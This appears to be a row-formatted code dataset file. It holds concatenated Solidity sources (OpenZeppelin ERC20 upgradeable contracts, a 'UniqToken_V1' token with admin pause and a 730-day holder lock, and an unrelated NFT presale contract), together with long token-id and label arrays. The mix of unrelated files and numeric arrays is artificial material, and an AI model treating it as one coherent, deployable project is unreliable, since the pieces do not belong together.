* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.2;
import '@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol';
/**
*@dev Contract module which helps to make some fund holded for certain time.
* accounts added to _holderlist can't spend funds before release date.
*/
contract Holdable is Initializable {
mapping(address => bool) internal _holdersList;
/**
*@dev stores the date of initial deployment of the contract.
*/
uint256 public initialDate;
/**
*@dev stores the date to relaese holded tokens.
*/
uint256 public releaseDate;
bool private _released;
/**
* @dev Initializes the contract setting initial date and release date.
* Constructor is removed since proxy is used.
*/
function __Holdable_init() internal initializer {
__Holdable_init_unchained();
}
function __Holdable_init_unchained() internal initializer {
initialDate = block.timestamp;
releaseDate = initialDate + 730 days;
_released = false;
}
/**
* @dev internal function to add an account to holders list.
*/
function _addHolder(address _holder) internal virtual {
_holdersList[_holder] = true;
emit HolderAdded(_holder);
}
/**
* @dev internal function to remove an account from holders list.
*/
function _removeHolder(address _holder) internal virtual {
_holdersList[_holder] = false;
emit HolderRemoved(_holder);
}
/**
* @dev function to check whether an account belongs to holders list.
*/
function isHolder(address account) public view returns (bool) {
return _holdersList[account];
}
/**
* @dev function to check whether release time is reached.
*/
function released() public virtual returns (bool) {
uint256 currentBlockTime = block.timestamp;
_released = currentBlockTime > releaseDate;
return _released;
}
/**
* @dev Emitted when new `address` added to holders list.
*/
event HolderAdded(address indexed _account);
/**
* @dev Emitted when an `address` removed from holders list.
*/
event HolderRemoved(address indexed _account);
}
contract UniqToken_V1 is ERC20PausableUpgradeable, OwnableUpgradeable, Holdable {
address private _governor;
/**
* @dev Throws if called by any account other than the owner or governer.
*/
modifier onlyAdmin {
require(
_msgSender() == owner() || _msgSender() == governor(),
"Caller is not an admin"
);
_;
}
/**
* @dev initialize the token contract. Minting _totalSupply into owners account.
* setting owner as _governer.
* Note:initializer modifier is used to prevent initialize token twice.
*/
function initialize(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) public initializer {
__ERC20Pausable_init_unchained();
__Pausable_init_unchained();
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
__Ownable_init_unchained();
__Holdable_init_unchained();
_mint(_msgSender(), totalSupply_);
_governor = _msgSender();
}
/**
*@dev function which returns the governer address.
* governer role is created to manage funding.
*/
function governor() public view returns (address) {
return _governor;
}
/**
*@dev external function to set new governer. Function is limited to owner.
*/
function setGovernor(address newGovernor) public virtual onlyOwner {
_setGovernor(newGovernor);
}
/**
*@dev internal function to set new governer.
*/
function _setGovernor(address newGovernor) internal virtual {
_governor = newGovernor;
}
function addHolder(address holder) public virtual onlyAdmin returns (bool) {
_addHolder(holder);
return true;
}
function removeHolder(address holder)
public
virtual
onlyAdmin
returns (bool)
{
_removeHolder(holder);
return true;
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(
currentAllowance >= amount,
"ERC20: burn amount exceeds allowance"
);
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must be the owner of the contract.
*/
function pause() public virtual onlyOwner {
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must be owner of the contract.
*/
function unpause() public virtual onlyOwner {
_unpause();
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (isHolder(sender)) {
require(released(), "Holders can't transfer before release Date ");
}
super._transfer(sender, recipient, amount);
}
}
| * @dev internal function to add an account to holders list./ | function _addHolder(address _holder) internal virtual {
_holdersList[_holder] = true;
emit HolderAdded(_holder);
}
| 1,724,472 | [
1,
7236,
445,
358,
527,
392,
2236,
358,
366,
4665,
666,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
1289,
6064,
12,
2867,
389,
4505,
13,
2713,
5024,
288,
203,
3639,
389,
9000,
682,
63,
67,
4505,
65,
273,
638,
31,
203,
3639,
3626,
670,
1498,
8602,
24899,
4505,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.8.4;
// SPDX-Licence-Identifier: RIGHT-CLICK-SAVE-ONLY
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/community_interface.sol";
import "../recovery/recovery.sol";
import "../configuration/configuration.sol";
import "../token/token_interface.sol";
//import "hardhat/console.sol";
contract tokyo_sale is configuration, Ownable, recovery , ReentrancyGuard {
using SafeMath for uint256;
using Strings for uint256;
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
token_interface _token;
bool public _saleActive;
bool public _presaleActive;
uint256 public _presaleSold;
uint256 _userMinted;
uint256 _ts1;
uint256 _ts2;
address public _communityAddress;
mapping(uint256 => bool) public _claimed;
IERC20 immutable public _ENS;
mapping (address => uint256) _presalePerWallet;
mapping (address => uint256) _salePerWallet;
event RandomProcessed(uint stage,uint256 randUsed_,uint256 _start,uint256 _stop,uint256 _supply);
event ENSPayment(uint256 quantity, uint256 value);
event Allowed(address,bool);
modifier onlyAllowed() {
require(_token.permitted(msg.sender) || (msg.sender == owner()),"Unauthorised");
_;
}
constructor( token_interface _token_ ,IERC20 _ens, address payable[] memory wallets, uint256[] memory shares) {
require(wallets.length == shares.length,"wallets and shares lengths not equal");
_token = _token_;
_ENS = _ens;
uint total = 0;
for (uint pos = 0; pos < shares.length; pos++) {
total += shares[pos];
}
require (total == 1000, "shares must total 1000");
_wallets = wallets;
_shares = shares;
}
receive() external payable {
_split(msg.value);
}
function _split(uint256 amount) internal {
bool sent;
uint256 _total;
for (uint256 j = 0; j < _wallets.length; j++) {
uint256 _amount = amount * _shares[j] / 1000;
if (j == _wallets.length-1) {
_amount = amount - _total;
} else {
_total += _amount;
}
( sent, ) = _wallets[j].call{value: _amount}(""); // don't use send or xfer (gas)
require(sent, "Failed to send Ether");
}
}
function _split20(uint256 amount) internal {
uint256 _total;
for (uint256 j = 0; j < _wallets.length; j++) {
uint256 _amount = amount * _shares[j] / 1000;
if (j == _wallets.length-1) {
_amount = amount - _total;
} else {
_total += _amount;
}
require(IERC20(_ENS).transferFrom(msg.sender,_wallets[j], _amount),"Failed to send ENS tokens");
}
}
uint256 maMinted;
function mintAdvanced(uint256 number, address destination) external onlyAllowed {
require((maMinted += number) <= _clientMint ,"All minted or no allowance");
_mintCards(number,destination);
}
function mintPresaleWithENS(uint256 numberOfCards, bytes memory signature) external {
require(verify(msg.sender,signature) ,"Invalid Presale Secret");
require(checkPresaleIsActive(),"presale not open");
uint256 cost = _ensPresalePrice * numberOfCards;
require (_ENS.balanceOf(msg.sender) >= cost,"You do not hold enough ENS");
require((_presalePerWallet[msg.sender] += numberOfCards) <= _presalePerAddress,"Number exceeds max presale per address");
require( (_presaleSold += numberOfCards)<= _maxPresaleSupply,"Too many discount tokens claimed");
_mintENS(numberOfCards, cost);
}
function mintSaleWithENS(uint256 numberOfCards) external {
require(checkSaleIsActive(),"sale not open");
uint256 cost = _ensSalePrice * numberOfCards;
require (_ENS.balanceOf(msg.sender) >= cost,"You do not hold enough ENS");
require((_salePerWallet[msg.sender] += numberOfCards) <= _salePerAddress,"Number exceeds max sale per address");
_mintENS(numberOfCards, cost);
}
function _mintENS(uint256 numberOfCards, uint256 ensToTake) internal {
require (_ENS.allowance(msg.sender,address(this)) >= ensToTake, "Approval not set");
_split20(ensToTake);
_mintCards(numberOfCards, msg.sender);
}
// make sure this respects ec_limit and client_limit
function mint(uint256 numberOfCards) external payable {
require(checkSaleIsActive(),"sale is not open");
require((_salePerWallet[msg.sender] += numberOfCards) <= _salePerAddress,"Number exceeds max sale per address");
_mintPayable(numberOfCards, msg.sender, _fullPrice);
}
function mintPresale(uint256 numberOfCards, bytes memory signature) external payable {
require(verify(msg.sender,signature) ,"Invalid Presale Secret");
require(checkPresaleIsActive(),"presale is not open");
require((_presalePerWallet[msg.sender] += numberOfCards) <= _presalePerAddress,"Number exceeds max presale per address");
require( (_presaleSold += numberOfCards)<= _maxPresaleSupply,"Too many discount tokens claimed");
_mintPayable(numberOfCards, msg.sender, _discountPrice);
}
function _mintPayable(uint256 numberOfCards, address recipient, uint256 price) internal {
require(msg.value >= numberOfCards.mul(price),"price not met");
_mintCards(numberOfCards,recipient);
_split(msg.value);
}
function _mintCards(uint256 numberOfCards, address recipient) internal {
require((_userMinted += numberOfCards) < _maxSupply,"This exceeds maximum number of user mintable cards");
_token.mintCards(numberOfCards,recipient);
}
function setSaleStatus(bool active) external onlyOwner {
_saleActive = active;
}
function setPresaleStatus(bool active) external onlyOwner {
_presaleActive = active;
}
function setSaleDates(bool timedSale, uint256 start, uint256 end) external onlyOwner {
_timedSale = timedSale;
_saleStart = start;
_saleEnd = end;
}
function setPresaleDates(bool timedSale, uint256 start, uint256 end) external onlyOwner {
_timedPresale = timedSale;
_presaleStart = start;
_presaleEnd = end;
}
function checkSaleIsActive() public view returns (bool) {
if (_saleActive) return true;
if (_timedSale && (_saleStart <= block.timestamp) && (_saleEnd >= block.timestamp)) return true;
return false;
}
function checkPresaleIsActive() public view returns (bool) {
if (_presaleActive) return true;
if (_timedPresale && (_presaleStart <= block.timestamp) && (_presaleEnd >= block.timestamp)) return true;
return false;
}
function verify(
address signer,
bytes memory signature
) internal pure returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
bytes32 hash = keccak256(abi.encode(signer));
require (signature.length == 65,"Invalid signature length");
bytes32 sigR;
bytes32 sigS;
uint8 sigV;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
sigR := mload(add(signature, 0x20))
sigS := mload(add(signature, 0x40))
sigV := byte(0, mload(add(signature, 0x60)))
}
bytes32 data = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
address recovered = ecrecover(
data,
sigV,
sigR,
sigS
);
return
_presigner == recovered;
}
// function tellEverything(address addr) external view returns (theKitchenSink memory) {
// // if community module active - get the community.taken[msg.sender]
// token_interface.TKS memory tokenData = _token.tellEverything();
// uint256 community_claimed;
// if (_communityAddress != address(0)) {
// community_claimed = community_interface(_communityAddress).community_claimed(addr);
// }
// return theKitchenSink(
// _maxSupply,
// tokenData._mintPosition,
// _wallets,
// _shares,
// _fullPrice,
// _discountPrice,
// _timedPresale,
// _presaleStart,
// _presaleEnd,
// _timedSale,
// _saleStart,
// _saleEnd,
// _ensSalePrice,
// _ensPresalePrice,
// tokenData._lockTillSaleEnd,
// _maxFreeEC,
// _totalFreeEC,
// _maxDiscount,
// _totalDiscount,
// _freePerAddress,
// _discountedPerAddress,
// _tokenPreRevealURI,
// _signer,
// checkPresaleIsActive(),
// checkSaleIsActive(),
// checkSaleIsActive() && _dustMintAvailable,
// _freeClaimedPerWallet[addr],
// _discountedClaimedPerWallet[addr],
// address(_ENS),
// _maxPerSaleMint,
// community_claimed,
// tokenData._randomReceived,
// tokenData._secondReceived,
// tokenData._randomCL,
// tokenData._randomCL2,
// tokenData._ts1,
// tokenData._ts2
// );
// }
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
